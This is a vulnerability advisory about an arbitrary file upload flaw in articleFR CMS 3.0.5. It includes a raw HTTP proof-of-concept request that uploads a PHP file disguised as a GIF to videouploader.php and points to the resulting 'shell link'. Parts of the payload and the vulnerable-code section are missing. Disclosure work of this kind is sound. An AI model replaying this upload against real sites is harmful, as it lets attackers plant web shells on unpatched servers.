ITAS Team found out a Arbitrary File Upload vulnerability in articleFR CMS

ITAS Team found out a Arbitrary File Upload vulnerability in articleFR CMS

ITAS Team found out a Arbitrary File Upload vulnerability in articleFR CMS. Vulnerabilities related to the upload of unexpected file types is unique in that the upload should quickly reject a file if it does not have a specific extension. Additionally, this is different from uploading malicious files in that in most cases an incorrect file format may not by it self be inherently “malicious” but may be detrimental to the saved data.
The application may be expecting only certain file types to be uploaded for processing, such as mpeg4, ogv, ogg, 3gp, webm, gif, mkv, flv, drc, mng, avi,… files. The application may not validate the uploaded file by extension (for low assurance file validation) or content (high assurance file validation).
Individuals and organizations are using this CMS should note and give the solution to fix this issue.

Vulnerability information:
– Vulnerability: Arbitrary File Upload
– Vendor: http://freereprintables.com
– Download link: https://github.com/articlefr/articleFR
– Affected version: version 3.0.5 or probably previous version
– Author: Tran Dinh Tien (tien.d.tran@itas.vn) & ITAS Team (www.itas.vn)

::VULNERABILITY DETAIL::

– REQUEST:

POST /articlefr/dashboard/videouploader.php HTTP/1.1
Host: target.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://target.org/articlefr/dashboard/videos/fileupload/
Content-Length: 414
Content-Type: multipart/form-data; boundary=—————————277651700022570
Cookie: GEAR=local-5422433b500446ead50002d4; PHPSESSID=uc86lsmbm53d73d572tvvec3v4; _ga=GA1.2.884814947.1419214773; __unam=bd22dea-14a6fcadd31-42cba495-9; _gat=1
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

—————————–277651700022570
Content-Disposition: form-data; name=”myVideo”; filename=”img.php”
Content-Type: image/gif

phpinfo();
?>
—————————–277651700022570
Content-Disposition: form-data; name=””

undefined
—————————–277651700022570
Content-Disposition: form-data; name=””

undefined
—————————–277651700022570–

– RESPONSE:
HTTP/1.1 200 OK
Date: Mon, 22 Dec 2014 03:10:30 GMT
Server: Apache/2.2.15 (Red Hat)
Content-Type: text/html
Vary: Accept-Encoding
Accept-Ranges: none
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 36

[String_Random].php

– Shell link: http://target.org/articlefr2/dashboard/videos/[String_Random].php

– Vulnerable file: articlefr/dashboard/videouploader.php
– Vulnerable code:

Information disclosure:
+ 12/09/2014: Contact to vendor – vendor did not reply
+ 12/11/2014: Contact to vendor – vendor did not reply
+ 12/22/2014: Contact to vendor – vendor replied
+ 12/23/2014: Send the detail vulnerability to vendor – vendor did not reply
+ 01/21/2015: Public information

References:
– http://www.exploit-db.com/exploits/35858/

Demonstration video